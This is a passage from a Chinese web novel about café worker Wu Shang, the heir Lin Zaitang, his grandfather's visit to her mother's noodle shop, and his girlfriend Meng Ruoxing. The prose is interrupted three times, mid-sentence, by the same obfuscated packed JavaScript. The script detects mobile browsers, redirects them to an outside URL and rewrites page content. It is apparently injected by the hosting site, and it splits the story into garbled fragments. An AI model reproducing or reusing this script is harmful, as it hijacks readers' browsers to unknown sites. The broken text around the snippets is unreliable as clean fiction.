林在堂把表推给她,也在这个时候想起下雪那天,吴裳说她喜欢有钱的男人。从某些层面来讲,林在堂对这样的人很熟悉。他们很清楚自己要什么,并能为此不择手段。他见过很多类似的荒唐事,再往前几年,他也有过人生也不过一场荒唐梦的想法。唯一庆幸的是他的感情避开了这样的雷区。 面包烤好了。 是一个大吐司,他听到烤箱“叮“一声,吴裳小跑着去拿,满屋子都是香气。另一个自称是他学妹的姑娘立即动起鼻子:“好好闻,吴裳你好厉害。”吴裳呢,昂首挺胸,倒拗出了几分骄傲。 “我送您两片尝一尝,如果好吃就让你的朋友多来捧场。”许姐姐对林在堂说。 林在堂点头道谢,拎着那个好看的纸袋子出了咖啡店,径直回到公司。他沿用了父亲林褚蓄从前的办公室,在走廊尽头,很安静的地方。楼道两边是一个挨一个的办公室,门上贴着某某部门字样。推门进去就是逼仄的空间,过道处堆着资料或样品,办公桌的隔板很高。他的办公室则相对好一些,有茶桌和书柜,还有两面很气派的落地窗。 海州人爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483263|170051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝茶。有钱人家每年明前会搞一些头采的好茶,而普通人家则会去山上采些茶自己炒。林在堂自小就泡在茶香里,有时他会恍惚闻到自己身上有茶“腌渍”出的味道。他不喜喝酒,倘若一定要喝,不能太烈。烟倒是会抽,但没有任何瘾头,只在压力大的时候来一根。 这会儿办公楼里已空无一人。 他沿着长长的走廊走着,手里还攥着那个装着纸袋的面包。进了办公室,认真洗了手,这才打开包装袋拿出一片面包站在窗前吃。 面包用料考究,很醇香,不甜腻,口感绵密。他原本对面包甜品没什么感觉,但偶尔吃到这么一口,令人精神振奋。能沉下心来烤出这样的面包,也算很厉害。 想到孟若星爱吃这些,就给她发消息:“下雪那天你说咖啡不错的那家店,面包也相当好吃。” 孟若星直到半夜才回复:“刚刚在收拾行李。我要跟爸爸妈妈去上海呆几天。” 孟若星的性格飘忽不定,这些年与林在堂总是忽远忽近若即若离。林在堂只谈过这一段恋爱,所以以为所有的爱情都是如此,甜蜜的时候是蜜里调油,痛苦的时候是刀尖剜肉。 “你来找我吗?”孟若星说:“我想你了。才一天没见,我就好想你呀!” 偏偏林在堂被爷爷拉去应酬,在私人庄园里与人觥筹交错,错过了这条短信。等他终于抽身,再打给孟若星,她已经不接电话了。 孟若星生气了。 她是小孩脾气,从不在林在堂面前隐藏,高兴时候欢天喜地,生气的时候就闭口不言。林在堂去她家找她,她家里的阿姨说她已经连夜跟父母去了上海。 这样的事不管发生多少次,都会让林在堂难受。他知道唯有去上海孟若星才会消气,但这一次,林在堂没去。 他走在深夜的海洲街头,一时之间不知该去哪。而这一天晚上,吴裳回到老宅,翻起她储存的“宝贝”们。她记得那块表的,但真奇怪,她找不到了。 外婆叶曼文站在门口看她把卧室翻得乱七八糟,忍不住逗她:“你这样毛毛躁躁,以后怎么嫁给濮君阳啊?” 吴裳闻言停下动作,流露出几分伤心:“外婆你不知道吗?濮君阳秋天时候结婚了。” 藏不住心事的吴裳神情一瞬间黯淡下来,叶曼文想了想说:“那挺好的,不然我总觉得你会被他欺负的。就像你外公欺负我。重感情的那个总要被拿捏的。” “外婆,你还记得我拿回来的那块怀表吗?”吴裳突然这样问:“我有一个朋友可能失忆了,但看到那块表没准会想起我来。” 她好天真。叶曼文这样想,不会有人失忆的,只是干脆不想与你相认罢了。 老人家叹了口气。 5. 小轩窗,半面妆 那块丢失的怀表,还有被提起的濮君阳唤起了吴裳罕见的哀愁。她洗过头发后倚在楼上的木窗上,看着外面湿漉漉的马路。闭上眼睛就能听到海浪声,倘若再仔细听,还能听到小船的桅杆起降的声音。 吴裳最喜欢听轮船起航归航的汽笛声,那声音载着她对远方的遥想,让她好想去海岸那头看看。可是,她能去哪呢?吴裳有些迷茫。 但她的忧愁总不会停留很久,因为隔壁的阿黄叼来一只小狗。熟悉的阿黄将刚刚出生的小狗放在老宅的院门口,一反常态没有进门巡视,反而冲着吴裳的窗户狂吠。叶曼文推开门拿着木铲子出来,吓唬阿黄:“再叫打你!”尽管这样说,却顺手在刚煮好还没撒盐的鸡汤里捞了一块儿纯肉丢给它。 阿黄却不吃,只是一个劲儿地叫。 吴裳冲了出来,到它面前,问阿黄:“送我啦?我之前跟你开玩笑的哦!” 阿黄却掉头就走:哼,说话算话。 “养着吧。”阿婆叹口气:“也不差它这一口了。谁教它喜欢过苦日子。” 吴裳很开心,小心翼翼捧起那只小狗,看到它缓缓睁开的眼睛:里头像有一颗一颗小星星。 叶曼文逗吴裳:“家里添丁喽!” 吴裳就嘻嘻一笑,转身跑上了楼,把一切都抛在了脑后,包括结了婚的濮君阳,还有压根不记得她的林在堂。 只是她没想到会在香玉面馆里看到林在堂。 那是一个雾蒙蒙的清晨,母亲阮香玉前一晚跟吴裳说她着凉了腰有些疼,但面馆坚决不关门。 “小朋友上学前要吃早饭呀,这个时间决定关门,也没跟大家打声招呼,他们饿着肚子上学多可怜。”阮香玉这样说。 吴裳没再劝阮香玉,下一天四点多就爬起来,帮阮香玉做面条。她从小耳濡目染,能帮妈妈打个好下手。面汤是提前熬制的,只要将面条丢到锅里煮,再放上几颗脆爽的青菜。一碗好吃的素面就这样上桌了。巷子里的街坊邻里早上依赖这口热乎乎的面,尤其在这样的冬日。 雾蒙蒙的早上,吴裳站在那口面锅前,袅袅升腾的热气熏得她脸通红发烫。额头挂着一颗小汗珠儿,她用衣袖抹去。外面有人在催,她也不着急,笑盈盈答:“好啦好啦!马上好啦!” “香玉老板,今天女儿来啦?”有人问。 阮香玉也笑盈盈答:“是啊,我老毛病发作了,女儿来帮忙。” 吴裳听着外头的动静,心下也着急。但阮香玉从小就教她:“不管多大的生意,都不要急。缓下来,不然要出错。”于是她静下心来,该怎样就怎样,只是手上的动作略快一些。当她走出来的时候,端着一个大托盘,托盘上六碗面,下头四碗,上摞两碗。口中喊着:“面来啦!”一路端到店门口的桌上去。 她是这时看到林在堂的。 他跟一个清瘦的老人穿过暮霭,轮廓渐渐清晰。但她没空细看,转身又去了后厨。油热了,萝卜饼该下锅了。 “吃这家。”林在堂的爷爷林显祖指着香玉面馆的招牌:“怕是有年头了。”林显祖近来喜欢早起在海州的老城区闲逛,走累了就找家店歇一歇,吃口东西,跟素昧平生的老人们聊聊天。 香玉面馆坐着一些老人,他们都抱着一个玻璃杯子,杯子里泡着野山茶,绿油油的茶叶沉在杯底,像清澈见底的海面,能看到水下招摇的海藻。 林在堂与这样的海州不熟。虽然生在海州,但他离海州很远。即便是在回到海州半年有余,他在清晨出门的时候仍旧穿戴得体正式,与香玉面馆格格不入。 老板娘上前问他们吃什么,讲话语速微快,但语调又很柔。这是一个很“海州”的女人。细细的眉眼,瘦小的身材,头发梳得一丝不苟,整个人看着很干净。林显祖要两碗姜汤面,两块梅花糕,一份小菜。 林在堂不太习惯在这样的环境吃饭,双手放在膝盖上,腰杆挺得笔直。阮香玉在灶台边对吴裳说:“男朋友么,照着外面那位的面相找。斯文干净。” 吴裳身体侧弯,看了眼林在堂。他实在是长辈喜欢的那种面相,眉眼清秀,唇红齿白,一点都不轻浮。 “你看他眼熟吗?”吴裳问。 阮香玉点头:“面熟啊,电影明星都长这样啊!” 吴裳就用长筷子敲敲锅边,以抗议阮香玉胡说八道。 端着爷孙的吃食出去的时候,吴裳以为林在堂这下总能认出她,以咖啡店店员的身份。于是欢快走向他,语调轻快,声音穿透雾霭:“林先生,好巧。” 林在堂抬起头看着她,爷爷在一边问:“你的朋友?” 他点头:“是的,认识。她是公司楼下咖啡店的店员。” 吴裳知足了,好歹这下认识她了。尽管在他看来,她只是为他做了两次咖啡,卖给他两片面包而已。 爷爷林显祖对吴裳笑了笑。经商一生造就的人情练达此刻也在发挥着作用,他低头吃了口面,称赞一句:“你朋友家的汤面很正宗。” “那您常来。”吴裳这样说着,又笑着走了。林在堂直白介绍她并没有对她造成什么样的伤害,人跟人本就是这样,谁对谁的印象深刻一些,取决于那人的身上有多少值得记住的地方。吴裳拎得清。 林在堂想:她在咖啡店里,不过是海州城里一个普通角色;在香玉面馆里,却变成了一个活生生的人了。就连挂在她脸上的笑容,都更加真挚。千溪的姑娘一直没变。 七旬老人因为这一口面面色红润,心情也因此大好,忍不住与林在堂说起旧事来:“记忆中我的祖父出海打鱼,出发前要来一碗面,姜汤面、素面,随便什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483264|170051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热汤最好。如果能有肉浇头,那就是好光景。” 林在堂在一边安静吃面,不时应和爷爷。寒湿的雾气没有散去的意思,小孩子吃完丢下三个硬币就跑进雾中。他们来得晚,吃得慢,混过了早档,食客少了。阮香玉端出清蒸小黄鱼,吴裳的托盘上摆着面和小菜。母女二人坐在距离林在堂不远的地方吃饭。 吴裳累得腰疼,站起身把双手放在腰侧揉。她跟阮香玉不太像,阮香玉像被岁月抽走了身条,整个人很瘦。吴裳呢,正值大好时光,饱满鲜亮。她食欲好,吃饭的时候不扭捏,一口是一口,吃得很香。择鱼刺也跟别人不一样,一块儿鱼肉放进口中,舌尖一挑牙齿咬住,筷子尖稳准狠夹住,紧接着放在事先备好的纸巾上。 林显祖看了几眼,说:“果然一方水土养一方人。”海州许多老人常年吃鱼,都这样择鱼刺。 林在堂只是觉得那清蒸黄鱼应当很好吃,不然吴裳为何吃这样香呢? 阮香玉察觉到老人的注视,就扭头问他:“自家蒸的小黄鱼,要尝尝鲜吗?” 林显祖什么山珍海味没吃过,但这一天偏偏想吃一口。阮香玉就用筷子尾巴敲吴裳正要夹鱼的手背,起身将盘子端了过去。 林在堂这才发现,吴裳虽然吃得豪爽,但那鱼却是规规整整,有一半一筷头都没动,干干净净。 “吃这边没动的,别嫌弃。”阮香玉说:“好吃明天再来,我多蒸一条。” 林显祖道了谢,吃了一筷头,那味道真的熟悉。上了年纪的海州人都习惯这样吃海物,清蒸保留本味,没有花哨的做法和调味,就是吃一口纯粹的鲜。 原本这条鱼是阮香玉给吴裳开的小灶,女儿辛苦一早上,她想给补补。吴裳没吃够,心里就有点气呼呼。眼睛奔着那半条鱼用劲,这神情落在林在堂眼里,心中不免嘲笑她一句:小家子气。 临走的时候,他拿出一张百元钞票,对阮香玉说:“不用找零。”再没别的话,跟在林显祖身边走了。 阮香玉将钱直接递给吴裳:“喏,前几天不是念叨看上的那副手套贵吗?去买。” “我不买。”吴裳把钱往阮香玉手里塞,阮香玉拍她手背:“拿去!给你外婆也买一副,然后你给她送回去。我这几天没时间回去看她。” 吴裳就把钱塞进口袋。 临走前又给自己煮了碗加料的素面,闻着淡淡的面香,心中一阵满足。 香玉面馆的手艺要向前追溯一百五十年,外婆的外婆是做吃食的一把好手,海州府上的好厨娘。经由一辈辈传下来,多少年来,无论日子多么清苦,她们家总能吃上一口正宗的海州味道。 这样的味道,贯穿了吴裳的整个记忆。 此时爷孙俩走很远,不知为什么,林在堂回头看了眼香玉面馆那破旧的牌匾。 6.月亮响,潮水涨 月亮响 潮水涨 月亮露头 海水东流 —2010年12月《吴裳胡乱写的》 林在堂再走进咖啡馆的时候,并没对吴裳做出任何熟络的表情。那个雾气清晨的偶遇就这样被两个人忽略了。 许姐姐不在,咖啡馆也没有别的客人。吴裳接了一个兼职的“编辑”工作,帮北京的一个医学出版社校对内容。有很多专业术语她不懂,正在那台总是卡死的电脑上查阅资料。 铃铛响的时候她甚至都没听到,眉头拧在一起,嘴里嘟囔:“这什么呀!”她学习能力很强,但跨专业的东西总需要一个过程。出版社给的价格不低,这让她很想啃下这块难啃的骨头。啃下骨头做什么呢?想给阮香玉买一个很好的腰托。 林在堂手指轻敲台面,说:“你好,给我来两杯咖啡。一杯热美式,一杯冰美式。” 吴裳被他吓得原地起跳一下,忙道歉:“抱歉抱歉,我没听到有人进来。” ”没关系的。”林在堂坐在高脚凳上,并没有看吴裳,而是看向窗外。 吴裳实在不解他的疏离和健忘,将笔记本电脑“啪”一声扣上,语气不太好,亦带着沮丧,质问他:“我问你,你为什么装作不认识我?今天咖啡店就你和我,你跟我说清楚!” 林在堂将视线移到她身上,说:“我的确记得你。” “那你…” “我女朋友爱吃醋,我不想让她误会。”林在堂这样说。 “好好好。”吴裳被气得频频点头:“你是你女朋友养的狗吗?认识我是什么丢人的事吗?”她真的快要气哭了,正如叶曼文所说:她年纪轻,还尚余天真,对人对事看不真切。她以为林在堂觉得她丢人。 林在堂却不过多解释,只是问她:“还能做咖啡吗?” 吴裳就差把咖啡豆摔到他脸上,做做做,做什么做!可生意是许姐姐的,不是她的,她不想赶走许姐姐的客人。因为许姐姐真的待她很好。 转身去磨豆子,眼泪就在眼里打转。她以为虽然只有短暂交汇,但他们至少是朋友的。在每一个涨潮的黄昏,千溪村蜿蜒的海岸线上,他们曾有着深刻的交谈。 罢了罢了。外婆说得对:海水会带走很多东西,包括一些真挚的情谊。这样想着,她又释怀了,并下定决心再也不提与林在堂是旧相识的事。就让海水带走那短暂的友情吧! 咖啡机临时故障,磨到一半,熄火了。已经恢复如常的吴裳用手掌叭叭地拍两下,没反应,顺手就拔掉了电源。她并没急躁,反而跟林在堂解释:“我们店里的咖啡机故障,拍两下、拔电源,再不好就关门。老板说的。” 林在堂破天荒笑了。这种“破罐子破摔”的处理方案倒是很符合这家咖啡馆给人的感觉。好在她重新插上电源后,咖啡机重新开始工作。 门开了,有人随着悦耳的铃声走了进来。许姐姐总说吴裳走进来的时候像一只百灵鸟,而今天进来的人,吴裳觉得她像一只“仙鹤”。吴裳只在家里的老式挂画里见过仙鹤,修长的脖颈、飘逸的身姿,飞到林在堂跟前后,自然地挽住他的手臂。 “不是说在车上等吗?”林在堂问她。 仙鹤摇摇头:“我无聊嘛。” 吴裳从没见过哪一个人随便讲一句话就像在撒娇,可那种感觉又并不让人反感。只想听她再多说几句。 “可以帮我多放些冰块吗?”姑娘对吴裳笑笑,光明正大握住林在堂的手指。 佳偶天成。 吴裳这样想。他们两人站在一起,不用说任何话,就能被人轻易认做情侣。这个八卦许姐姐一定感兴趣。果不其然,许姐姐推门进来,看到这对情侣眼睛亮了。举起手中的拍立得说:“我们想在店里做照片墙,可以拍一张吗?” 孟若星莞尔一笑:“好啊。辛苦老板啦。”而后就将头靠在了林在堂肩膀上。她在人前收敛光芒,看起来像一只温顺的小猫。只有熟悉的人才知道:孟若星女士也是一个厉害角色。她发脾气的时候林在堂别想好过,一旦林在堂硬起骨头,她又会回到他身边。就像这一次,她没能在上海等到林在堂,那她回来好了。 许姐姐迅速拍了一张,出相纸后给孟若星看。这不过是他们十年情侣生涯中的一张普通照片,但她却格外喜欢。一直对许姐姐道谢,并看着许姐姐将它贴在照片墙上。 吴裳突然有些羡慕,却说不清这羡慕源自于哪里。她想起濮君阳,喜欢他那么多年,竟没有一张合照。没有了濮君阳,跟任何人恋爱都像没有撒盐的鸡汤,缺了至真一味。 孟若星察觉到了她的落寞,看看林在堂,再看看吴裳。自己的男朋友惹人注目并没令她产生什么自豪感,只是觉得有趣。她不知自己是否错看,所以又看吴裳几眼。 这个姑娘看起来很喜庆,是那种带着质朴和可爱的小镇姑娘。除此以外再看不出别的信息。 “咖啡好了。”吴裳转过身来,拿着两杯咖啡:“店里用还是带走?” “店里用吧。”孟若星想起什么似的:“上次你说吃到了好吃的面包,也是这家是吗?” “是。很不错。”林在堂对吴裳说:“辛苦做两片榛子巧克力吐司。” 孟若星喜欢甜食,不止一次说过甜的东西令她感觉到幸福。林在堂喜欢原味吐司,本味的口感让他感觉到踏实。 “榛子巧克力稍等。”吴裳说着话就去操作。巧克力酱是她以前融化的,味道醇香,她太喜欢这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485424|170051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种味道,有点像学校门口那家面包店里做圣诞巧克力时候的味道。 哦,圣诞,圣诞节要来了。 吴裳喜欢圣诞节。街上到处都是灯,好看的灯,尤其在海州这样的地方,恨不能将灯光一直点到遥远的海面上去。她喜欢穿行在街灯之中,那种感觉真好。 孟若星咬第一口吐司的时候就接连点了两下头:“老公,好吃。”她会在某些特定时候叫林在堂老公,譬如此刻。 林在堂递给她一张纸巾,让她垫在手上,以免烫到。她只吃了一半,就将剩下的半片自然地送到林在堂嘴边:“吃不完了。”孟若星从小学芭蕾舞,再好吃的东西不过就那么几口。所以吴裳觉得她有仙鹤之姿并非错觉。林在堂几口消灭吐司,两个人拿着咖啡杯走了出去。 这一天林在堂开了另一辆车,一辆越野车,车顶带着一个大行李箱。看起来像要去露营。 他们的确是去露营。 孟若星喜欢在海边露营。她等了好几天,林在堂终于得了半日清闲,这一天带她去海边。两个人在国外时候经历了一年异国恋,那时见面最常做的事就是露营。在山间、草原、海边,总之要在穹顶之下尽情拥抱,或诉说心事。那是属于他们爱的语言。 吴裳和许姐姐趴在窗户上看着。 许姐姐竟然叹了口气:“我年轻时候比这还野呢。”许姐姐说的年轻时候是三十岁以前,那时她在海州也算小有名气,每当她从他乡回来,总有数不清的小伙子排着队为她接风洗尘。 许姐姐如今四十岁,仍旧好看,却没有了从前日日笙歌的心气儿了。得闲只想饮茶翻书睡觉,远离这凡尘俗世。 “你现在也不老啊。”吴裳有点羡慕:“如果我四十岁也能像姐姐一样,有钱有咖啡馆,想干什么干什么。那我希望四十岁马上就来。” 许姐姐哈哈大笑。 林在堂的车引擎声很大,离开的时候地面都好像震一震。许姐姐这时候称赞了一句:“林先生是极品。” “啊?”吴裳睁大眼睛:“不就是有钱吗?” 许姐姐摇摇头:“你不懂,等你到了我这个岁数就会明白,林先生这样的男人,可遇不可求。” 可遇不可求。吴裳将额头贴在冰凉的玻璃上,冷暖交融,就有了小水珠,从她的鼻尖前挤了下去,像是哭了一样。她咀嚼着“可遇不可求”这句话,几番过后,仍旧不懂。 吴裳没有那样轰鸣的情爱岁月,她对男人大概就是那样,恋爱正常谈,但她的爱情持续的过程总是很短。一旦她察觉到不爱了,就干脆而直接地分手。宋景总说她是在造孽,而她则说:“可他也没有多好。”这个“他”泛指她爱过的每一个人。 但绝不包括濮君阳。